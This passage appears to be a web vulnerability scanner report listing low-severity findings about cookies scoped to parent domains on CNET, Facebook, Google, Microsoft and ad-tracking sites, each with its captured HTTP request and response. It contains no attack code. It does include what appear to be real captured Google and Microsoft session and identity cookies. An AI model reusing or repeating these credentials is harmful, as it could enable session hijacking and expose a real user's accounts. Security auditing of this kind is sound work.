GET /?tag=hdr HTTP/1.1
Host: www.cnet.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://download.cnet.com/windows/
Cookie: tempSessionId=Cg5gWk48EJUyF3tqMeo; arrowLat=1316459744770; XCLGFbrowser=Cg5iUk48EJ/sAAAAd0Q; cnet_joinCallout=1; arrowLrps=1312564961707:1312559263357; MADCAPP=0b3ouz=1; arrowSpc=1; arrowTmUser=false; MADTEST=1; cnet_rvpCallout=1; curs_gigya_appid=259; mad_rsi_segs=

Response

6.8. http://www.cnet.com/internet-security/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/internet-security/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

arrowSSRefUrl=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3Daf0120deeded27b102ec0d26; domain=.cnet.com; path=/; expires=Mon, 19-Sep-2011 19:58:53 GMT
arrowLrps=1312564961707:1312559263357; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:53 GMT
arrowLat=1316460533108; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:53 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /internet-security/?tag=mncol;txt HTTP/1.1
Host: www.cnet.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: tempSessionId=Cg5gWk48EJUyF3tqMeo; arrowLat=1316460290883; XCLGFbrowser=Cg5iUk48EJ/sAAAAd0Q; cnet_joinCallout=1; arrowLrps=1312564961707:1312559263357; MADCAPP=0b45xk=2; arrowSpc=4; arrowTmUser=false; MADTEST=1; cnet_rvpCallout=1; curs_gigya_appid=259; mad_rsi_segs=; arrowFdCounter=3; wsFd=true; __csref=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue; __cst=6b5d4e04eb77ba85; __csv=4a66517e0c1f99d8|0; __csnv=72a9e297916c2750; __ctl=4a66517e0c1f99d81

Response

6.9. http://www.facebook.com/creditsuisse previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/creditsuisse

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fcreditsuisse; path=/; domain=.facebook.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /creditsuisse HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

6.10. http://www.google.com/ig/add previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/ig/add

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjSv7kOq4AvAeL-hZ8Ft440Pm3Si_yhhHZlzaL7s1AytkqPOO8W_hLDG0olyxj-EUY4Y8WS0yv7cOjUWn1eK1BsYBxxAinJ0yuTmLWiLPzissykDjFN4IP-rIXUs6b3UHIjCDrTc25JQLKM6kTCxOUtYkXBSzQnrNori1RFPiIJAJIUaZy6JLvRDDogcUQpLfrGnEktvDeH-2vOo7RMntD5839Qkp6_UTE9c7gM34H48--oJvmn57OXD9js0njThbj-_W9CGn1e1NFJy_SDkmBCnvpzrfJQLKzxznn0gHb430; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ig/add?source=atgs&moduleurl=http%3A//www.twittergadget.com/gadget.xml HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.twittergadget.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRj83JYCCKCWiugi_X7eG65ytSCOSNPFIDrSfQHeUunTeTiGJEzsOSuFmdSnm0reJN227ey1l9946Cm9XVj0abNf2mGrSMFqcxeDDlyZ_BSK-cfXP0DoEEb8q5483iuZrlgd7u8t_sDpKiqNEG9UMTNANsgFZJ6Bahq94U-itP0tGmb-IZN6llY8QSL-DOdY1Va6cZbjHpbWLItgXYXWne5gxQRqMRlyTc0HOgzoX-JssVy2mQlnPnZrRs_UKaykem58OK8OEFMqZrN4zLSDxf-VaMnNWftf-fuTscbhnOAthA; NID=51=mIeAi_BJiW80o5-UkWcKjFthqIayl4ofwCkkr5tCLyeEVJT5ggTfhss2g11zdOuIt-Hv9il_Hia-F6KLtiAoqwnGANxD2SU6BtvNGiXQ0002QmWyW7uUzO1rQ_23mKUx

Response

HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
Date: Mon, 19 Sep 2011 15:17:31 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Location: http://www.google.com/ig/adde?source=atgs&moduleurl=http://www.twittergadget.com/gadget.xml
Set-Cookie: SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjSv7kOq4AvAeL-hZ8Ft440Pm3Si_yhhHZlzaL7s1AytkqPOO8W_hLDG0olyxj-EUY4Y8WS0yv7cOjUWn1eK1BsYBxxAinJ0yuTmLWiLPzissykDjFN4IP-rIXUs6b3UHIjCDrTc25JQLKM6kTCxOUtYkXBSzQnrNori1RFPiIJAJIUaZy6JLvRDDogcUQpLfrGnEktvDeH-2vOo7RMntD5839Qkp6_UTE9c7gM34H48--oJvmn57OXD9js0njThbj-_W9CGn1e1NFJy_SDkmBCnvpzrfJQLKzxznn0gHb430; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?answer=151657 for more info."
X-Content-Type-Options: nosniff
Server: igfe
Content-Length: 292
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.com/ig/adde?so
...[SNIP]...

6.11. http://www.google.com/ig/adde previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/ig/adde

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRj1buM1zXYdA__ObwXN6Zox83Kf4GNWqH6qas0qPeAB00qJcw0meCkjsjCGz1Y9q3pSa8wU8JCZVNu2hQ_P3JBAZIKe_vL1kI8ivKI0EBZrJwd7SdpT5SyEnyifwn5V7Z5-eQ7LWY9dOViPKaZS5F2FAcrTpgpf4IG7TaFvqlWrJfje2n2ghItZiMTQVAt_WEQbjpNBbQBYpeibdna7wvB9PFd5o-APnF7bvaxVCvq84_XuLsMgTkjCTrfbP8kMh_y_BEkuAcvmORNAKwcQajouJ2tnIrItCear0eiYl5jZqE; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ig/adde?source=atgs&moduleurl=www.twittergadget.com/gadget.xml HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.twittergadget.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: IGTP=LI=1:LM=1316445450; PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; NID=51=mIeAi_BJiW80o5-UkWcKjFthqIayl4ofwCkkr5tCLyeEVJT5ggTfhss2g11zdOuIt-Hv9il_Hia-F6KLtiAoqwnGANxD2SU6BtvNGiXQ0002QmWyW7uUzO1rQ_23mKUx; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjqmOoe5c5gFgOrvS7Ldea3BevWmFaL3iPzEjSh6pbCW7g8s9vzddrK7j6-qaDl1ueNFez1z9huwrvuVhgzcoge5qOBxkhI-WTHvf5FniPde_TpiALUacSQ0kCbbX9rGoMXzBImjBXq4hhi-0irgz171ZnZCFIcRXIXWdmyk6Rw6lxb8DNhjngdCrPhU5f8EW8b_epYelRXld0TKtLw9yY6nKz9o9MfFX0n0HVb5Py5wUymX9J4byRlbGskIMtTVGmCIe3OWUl6dpVGbV8LsjL-7GPZuDXzEdFB6nnqkcCv4E

Response

6.12. http://www.google.com/ig/cp/get previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.com
Path:	/ig/cp/get

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjXmbDFGcL4HJUDds6f7HzvoSgMavYuUWG-T6a01HrMDufpOOAC2XKJ4co-zfeJWjhkKQoqfRP3Lq3pkH1wY0rPuYo13u5IKc3kSeMBRO4fGxPJfYW1lCJmevZSxDgQSTnLJCnIVHSO66bYffVxK2AyPuNjNB3K0xvlMfYLiF-wJLnLEccJABP3vNVjTjMrLr2Mb-75RmqKRD945UdwuPi5jz8fJJo-acp1HUoKq0nfIzARku0B93uVL1In89bmvIdm6mh5zVuAIM3BSdOj0Na9fXfHmavHCKBIq_ptMPZiGM; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ig/cp/get?hl=en&gl=us&authuser=0&bundleJs=0 HTTP/1.1
Host: www.google.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.google.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=173272373.1870736849.1316463547.1316463547.1316463547.1; __utmz=173272373.1316463547.1.1.utmcsr=twittergadget.com|utmccn=(referral)|utmcmd=referral|utmcct=/; IGTP=LI=1:LM=1316445450; PREF=ID=26ea7fef0a6cf43b:U=f5d01e2b2ce2e5f3:TM=1314742576:LM=1314798155:S=dIZk57crg6QHX-5i; HSID=AbppJa1_E7iMausjK; APISID=qfB18aLM4wkSRyYX/Aqw8quAKRHd7UuSmT; SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjPyFqRf-B0ODOWTiDE99xOOc8RvdQGibPMhmcP610qN-DHB8k6z8ZKlplWLUKEP3dWEI72OUKY84U0zjZ2dOwJHOZWczA6xdlkRwrrTGTkQ6ClNLTQ4ONOC9gLOWYQ5zR2CljOq1RO-s4LLdPs6xoVlnnO6qY1kM7iyGUBole70mO999gxJRMDD84aZSLhlXLa_TFwj4UOugh1muMR40AyHJcRNGXDTOXCL27QwmaPSWsRZbzw7pybi4zMXxNEJkaJnnPm7S6PNHhmHFQ58RIqky0TX53BbS_4Obo4j-cWcY; NID=51=L8sLyGoN_NCfKmwbChYwx27i9PQpxs-tAtDUGzI6yMtp3sYbKLzndVF9mmvyOC96KGBr0BLYz4UhEg80r2vpTUpttHNX2UA0E-bhwXno_fMmQvsqypnRsizMHcEryCXH
If-None-Match: 2983217411927276708
If-Modified-Since: Mon, 19 Sep 2011 01:00:26 GMT

Response

HTTP/1.1 200 OK
Set-Cookie: SID=DQAAAO8AAAD7Xl0oDS_3Xy0JKwYeKgRjXmbDFGcL4HJUDds6f7HzvoSgMavYuUWG-T6a01HrMDufpOOAC2XKJ4co-zfeJWjhkKQoqfRP3Lq3pkH1wY0rPuYo13u5IKc3kSeMBRO4fGxPJfYW1lCJmevZSxDgQSTnLJCnIVHSO66bYffVxK2AyPuNjNB3K0xvlMfYLiF-wJLnLEccJABP3vNVjTjMrLr2Mb-75RmqKRD945UdwuPi5jz8fJJo-acp1HUoKq0nfIzARku0B93uVL1In89bmvIdm6mh5zVuAIM3BSdOj0Na9fXfHmavHCKBIq_ptMPZiGM; expires=Sun, 17-Jan-2038 19:14:07 GMT; path=/; domain=.google.com
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?answer=151657 for more info."
Content-Type: text/javascript; charset=UTF-8
Date: Tue, 20 Sep 2011 12:41:59 GMT
Expires: Tue, 20 Sep 2011 12:41:59 GMT
Cache-Control: private, must-revalidate, max-age=0
Last-Modified: Tue, 20 Sep 2011 12:41:59 GMT
ETag: 2983217411927276708
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Server: igfe
Content-Length: 926
X-XSS-Protection: 1; mode=block

throw 1; < don't be evil' >initcp([,true,true,"4e788a18656ruC6M",false,0,false,false], [,"http://www.ig.gmodules.com/gadgets/js/rpc.js?container=ig&nocache=0&debug=0&c=1&v=0e2fb10f0fb7466e9160b49a21d7
...[SNIP]...

6.13. http://www.leadforce1.com/bf/bf.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.leadforce1.com
Path:	/bf/bf.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

lf1_visitor5932=1%3DOWVhODk0ZTdkYjgwM2U2ZGM1OTI3ZDc4ZGIxOWZkNDU%3D%3A2%3DMTMxNjUyNzcxMA%3D%3D%3A3%3DMTMxNjUyNzcwOQ%3D%3D%3A4%3DNzkxMDkzOTA%3D%3A5%3DMzM1ODc2Mg%3D%3D%3A11%3DMA%3D%3D; expires=Thu, 19-Sep-2013 14:08:30 GMT; domain=.leadforce1.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bf/bf.php?idsite=5932&url=http%3A%2F%2Fwww.vormetric.com%2F&res=1920x1200&h=14&m=9&s=2&cookie=1&urlref=&rand=0.6704537642654032&pdf=1&qt=1&realp=0&wma=0&dir=0&fla=1&java=1&gears=0&ag=1&action_name=&title=Data%20Security%2C%20Encryption%20%26%20Database%20Security%20Program%20%7C%20Vormetric&_lf1=&vt_=MDViZTJmOTE0NTM0Yjc0YTcxMDk5MjMyZmIzYmQyMWI%3D HTTP/1.1
Host: www.leadforce1.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.vormetric.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: lf1_visitor5577=8%3DMw%3D%3D%3A9%3Dd3d3LmFkb2JlLmNvbQ%3D%3D%3A10%3D%3A6%3DNzYxODQ0OTk%3D%3A7%3DMTMxNDc5NzYzMw%3D%3D%3A1%3DOWYxOWZkZGRhMGJkNTc3M2IzNTg3MzRkMmJjYjc1N2U%3D%3A2%3DMTMxNDc5NzYzMw%3D%3D%3A3%3DMTMxNDc5NzYzMw%3D%3D%3A4%3DNzYxODQ0OTk%3D%3A5%3DMjg5NjUzMQ%3D%3D%3A11%3DMA%3D%3D; lf1_visitor5860=1%3DMTkxMWI1MGFjZTFjYzQ4NDVkMzllYzc1NGExNTFmMGI%3D%3A2%3DMTMxNTQwMDE2Mg%3D%3D%3A3%3DMTMxNTQwMDEwOA%3D%3D%3A4%3DNzcwNTk3OTg%3D%3A5%3DMzEzNjk5Ng%3D%3D%3A11%3DMA%3D%3D; lf1_visitor5340=8%3DNA%3D%3D%3A9%3DR29vZ2xlIEFkcw%3D%3D%3A10%3Dc2VjdXJpdHk%3D%3A6%3DNzc1OTY0MTY%3D%3A7%3DMTMxNTc2MTE2MA%3D%3D%3A1%3DOWM1Njc4MjI0N2EyMmM0MDlmNzM1NDNmN2UxMDk0ZTk%3D%3A2%3DMTMxNTc2MTU5MA%3D%3D%3A3%3DMTMxNTc2MTE2MA%3D%3D%3A4%3DNzc1OTY0MTY%3D%3A5%3DMTgwMDQyMjg%3D%3A11%3DMA%3D%3D; lf1_visitor6304=8%3DNA%3D%3D%3A9%3DR29vZ2xlIEFkcw%3D%3D%3A10%3DdmlydHVhbCBkZXNrdG9w%3A6%3DNzg1OTUxNTA%3D%3A7%3DMTMxNjIxOTEzMA%3D%3D%3A1%3DOTQyZmEyOWM3MWU2N2M0YmViZDY0YzNhNDY1MzZkOWE%3D%3A2%3DMTMxNjIxOTMwMA%3D%3D%3A3%3DMTMxNjIxOTEzMA%3D%3D%3A4%3DNzg1OTUxNTA%3D%3A5%3DMTE5NzAzMTk%3D%3A11%3DMA%3D%3D

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Tue, 20 Sep 2011 14:08:30 GMT
Content-Type: image/gif
Connection: keep-alive
X-Powered-By: PHP/5.3.3
P3P: CP='OTI DSP COR NID STP UNI OTPa OUR'
Set-Cookie: lf1_visitor5932=1%3DOWVhODk0ZTdkYjgwM2U2ZGM1OTI3ZDc4ZGIxOWZkNDU%3D%3A2%3DMTMxNjUyNzcxMA%3D%3D%3A3%3DMTMxNjUyNzcwOQ%3D%3D%3A4%3DNzkxMDkzOTA%3D%3A5%3DMzM1ODc2Mg%3D%3D%3A11%3DMA%3D%3D; expires=Thu, 19-Sep-2013 14:08:30 GMT; domain=.leadforce1.com
Vary: Accept-Encoding
Content-Length: 43

GIF89a.............!.......,...........D..;

6.14. http://www.lijit.com/beacon previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.lijit.com
Path:	/beacon

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

tpro_inst=deleted; expires=Sun, 19-Sep-2010 19:24:22 GMT; path=/; domain=.lijit.com
tpro=eJx9kctuxCAMRf%2FFazTikZDHd3Q3qhAiTIKUQESSStUo%2F16b6XS6aXccP66vzR3WnG5h9tDfYfRx8Jlei6UIv9SSwc0%2FqWpPBnYstcoISTEuGAiEpkCF0BpVEaiGgapN1RXQDGpu1vnYCKVEpWxdkXL2cBTssMHesrHLU9huwUYEBlPY1mc07RO55CjhpjAP2UeSiYkKGsXg0z%2BGNFgRoktLGcON4hQWaEVxowvIjoHmRvAHoQN8vmx2NCPNs38sHVP8PsSvMCIqjtkOZnNTMalP7NvCTj6u9%2FKCHt48pnGpHXqhhK7qrpW4xJ95zaVo%2Fs9rdb7%2FHAS%2FbQ%2B060udwZIG49IRqYnBh89bSHguEBcO5%2FkF5MSMrw%3D%3D; expires=Tue, 18-Sep-2012 19:24:23 GMT; path=/; domain=.lijit.com
ljt_csync=rtb_turn%3A1316459820%2Crtb_simplifi%3A1316459820%2Crtb_mmath%3A1316459820%2Crtb_media6%3A1316459820%2C1%3A1316459820; expires=Wed, 18-Sep-2013 19:24:23 GMT; path=/; domain=.lijit.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /beacon?viewId=1316477881530ff2d52286a91&rand=1316477881530&uri=http://www.lijit.com/users/idgtechads&informer=7303638&type=fpads&loc=http%3A%2F%2Fgamesprays.com%2F&rr=http%3A//www.fakereferrerdominator.com/referrerPathName%3FRefParName%3DRefValue&ifr=0&v=1.0&csync=1 HTTP/1.1
Host: www.lijit.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ilovefreesoftware.com/
Cookie: ljtrtb=eJyrVjJSslIyMbY0NTJxdLV0NTQ0NjdxdTJyNnA2NzQ3MXA2MzBRqgUAowAIew%3D%3D; ljt_reader=1860442d61f8e1f2d8924f58549ca25b; OABLOCK=4578.1314593701; OACAP=4578.1; OACBLOCK=593.1314593701; OACCAP=593.1

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:24:20 GMT
Server: PWS/1.7.3.3
X-Px: ms lax-agg-n14 ( lax-agg-n58), ms lax-agg-n58 ( origin>CONN)
P3P: CP="CUR ADM OUR NOR STA NID"
Cache-Control: no-cache, no-store, must-revalidate, max-age=0, max-age=0
Pragma: no-cache
Expires: Mon, 19 Sep 2011 19:24:23 GMT
Content-Length: 69
Content-Type: text/html; charset=UTF-8
Vary: Accept-Encoding
Connection: keep-alive
Set-Cookie: tpro_inst=deleted; expires=Sun, 19-Sep-2010 19:24:22 GMT; path=/; domain=.lijit.com
Set-Cookie: tpro=eJx9kctuxCAMRf%2FFazTikZDHd3Q3qhAiTIKUQESSStUo%2F16b6XS6aXccP66vzR3WnG5h9tDfYfRx8Jlei6UIv9SSwc0%2FqWpPBnYstcoISTEuGAiEpkCF0BpVEaiGgapN1RXQDGpu1vnYCKVEpWxdkXL2cBTssMHesrHLU9huwUYEBlPY1mc07RO55CjhpjAP2UeSiYkKGsXg0z%2BGNFgRoktLGcON4hQWaEVxowvIjoHmRvAHoQN8vmx2NCPNs38sHVP8PsSvMCIqjtkOZnNTMalP7NvCTj6u9%2FKCHt48pnGpHXqhhK7qrpW4xJ95zaVo%2Fs9rdb7%2FHAS%2FbQ%2B060udwZIG49IRqYnBh89bSHguEBcO5%2FkF5MSMrw%3D%3D; expires=Tue, 18-Sep-2012 19:24:23 GMT; path=/; domain=.lijit.com
Set-Cookie: ljt_csync=rtb_turn%3A1316459820%2Crtb_simplifi%3A1316459820%2Crtb_mmath%3A1316459820%2Crtb_media6%3A1316459820%2C1%3A1316459820; expires=Wed, 18-Sep-2013 19:24:23 GMT; path=/; domain=.lijit.com

<html>
   <head><title></title></head>
   <body>
           </body>
</html>

6.15. http://www.microsoft.com/click/services/Redirect2.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.microsoft.com
Path:	/click/services/Redirect2.ashx

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

RioTracking.CellCode=200019532; domain=.microsoft.com; path=/
OnlineTrackingV2.0=CTC=200019532; domain=.microsoft.com; path=/
RioTracking.EndActionCode=300009712; domain=.microsoft.com; path=/
OnlineTrackingV2.0=CATC=400199718&CTC=200019532; domain=.microsoft.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /click/services/Redirect2.ashx?CR_CC=200019532&CR_EAC=300009712 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.genuinewin7.com/purchase.aspx?WT.page_from=safety
Cookie: .ASPXANONYMOUS=l5zEtOmczAEkAAAAYWZhMmUxNTMtZmRiMS00MGE2LTk3YWItYmEwZTRmZGQ3YTBhBFa3UEM1G_2eQZN11wyMKW4d6uE1; WT_FPC=id=20b4a619ec15c9129a51311327259214:lv=1316626523300:ss=1316626523300; WT_NVR=1=australia|online|en-us:2=australia/windows|en/ie|download/en|windowsmobile/pl-pl:3=australia/windows/pc-scout|ru-ru/events/platforma|office/webapps/demo|project/en/us|windowsmobile/pl-pl/meet|en-us/security_essentials/support|uc/de/ch|portugal/windows/windowslive; A=I&I=AxUFAAAAAAAKBwAAdXWUADhA25JSNVWis+tmhQ!!&GO=244&CS=127W[U000134l0602h34l06; MUID=360F843730F542A7A6E2E0ACB7BADB9D; MSID=Microsoft.CreationDate=07/22/2011 12:36:13&Microsoft.LastVisitDate=09/21/2011 15:34:32&Microsoft.VisitStartDate=09/21/2011 15:34:29&Microsoft.CookieId=ac11fa37-8f10-42d0-83ff-16cc26c7f5e7&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=89&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0385-6668-8006-3576; MC1=GUID=77ec6960d0e1ff40bfef8b0c56239b53&HASH=6069&LV=20117&V=3; _opt_vi_RLWY7DRO=5D945FBB-6638-4BDF-A1AF-09A0EB00612A; _opt_vi_X19C7L9U=BF4B3FA2-8E51-4150-9ABB-1077225B50AC; 11b31887-495f-4481-aabb-9ac86f4f6021=%7B%22parent_id%22%3A%22%22%2C%22referrer%22%3A%22http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%22%2C%22id%22%3A%22FOiQuFs7vIt%22%2C%22wom%22%3Afalse%2C%22entry_point%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fen-us%2Foffice365%2Fonline-software.aspx%22%2C%22url_tag%22%3A%22NOMTAG%22%7D; _opt_vi_TKSBM7DI=9C480FCC-CBD9-4C4A-AD5E-8907629E985D; WT_O365_FPC=id=6504f471-3e91-4f0c-b2de-dabaf6ef56cb:lv=1312378238863:ss=1312377836433; R=200011647-8/28/2011 4:18:41|200036905-8/3/2011 11:30:42; fsr.r.365={"d":90,"i":"1312388639285_861091","e":1312993478247}; omniID=1312424649583_34bd_b414_dec7_f8046bff7d58; WT_NVR_RU=0=msdn|technet:1=MSDN&/:2=; mbox=PC#1312498954114-515218.19#1316903229|check#true#1314311289|session#1314311228720-138236#1314313089; s_vnum=1344034955534%26vn%3D5; s_nr=1314311230397-Repeat; ixpLightBrowser=1; mcI=Fri, 09 Sep 2011 11:39:38 GMT; msresearch=%7B%22version%22%3A%224.6%22%2C%22state%22%3A%7B%22name%22%3A%22IDLE%22%2C%22url%22%3Aundefined%2C%22timestamp%22%3A1313683684143%7D%2C%22lastinvited%22%3A1313683684143%2C%22userid%22%3A%221313683684143979693397905030%22%2C%22vendorid%22%3A1%2C%22surveys%22%3A%5Bundefined%5D%7D; msdn=L=1033; MS_WT=ta_M={"Value":"{\"_wt.control-327131-ta_M\":{\"value\":\"{\\\"runid\\\":\\\"345246\\\",\\\"testid\\\":\\\"345238\\\",\\\"trackid\\\":\\\"345247\\\",\\\"typeid\\\":\\\"1\\\"}\"},\"_wt.user-327131\":{\"value\":\"{\\\"currentPath\\\":\\\"327131-ta_M-345246-345247\\\",\\\"uid\\\":\\\"4835653768079280752\\\",\\\"userSession\\\":\\\"1314456405421-13144564054213768\\\"}\"}}","Expires":"\/Date(1322232405420)\/"}&ta_MSCOM_0={"Value":"{\"_wt.control-327131-ta_MSCOM_0\":{\"value\":\"{\\\"runid\\\":\\\"350161\\\",\\\"testid\\\":\\\"347134\\\",\\\"trackid\\\":\\\"350162\\\",\\\"typeid\\\":\\\"1\\\"}\"},\"_wt.user-327131\":{\"value\":\"{\\\"currentPath\\\":\\\"327131-ta_MSCOM_0-350161-350162\\\",\\\"uid\\\":\\\"4837196762300854610\\\",\\\"userSession\\\":\\\"1314916107158-1314916017686388\\\"}\"}}","Expires":"\/Date(1322692109897)\/"}; _wt.control-311121-ta_MSTemplateHeaderProject_0=1027f65025696c976a36cb5869679d8fdee7c73217227e42357f42be7198a2e049cae273fb8652271e722880fdba35813e2e844fbf8792a6c61dcfcc391d040667abc1920b5648175cda0d0186394c; _wt.user-311121=1027e544307e5d8b7f05c10e3b31d5d888fad471507d3a52761a2dde11c5f7a91489ba34c786403712645ac8b0e364da72498d40a091deec9e4f89eb126b6c656aafdc846839212b719c52abccb3c9c07225dd8a8797d2fa2976b3eee02dfd22e308028d85a8; 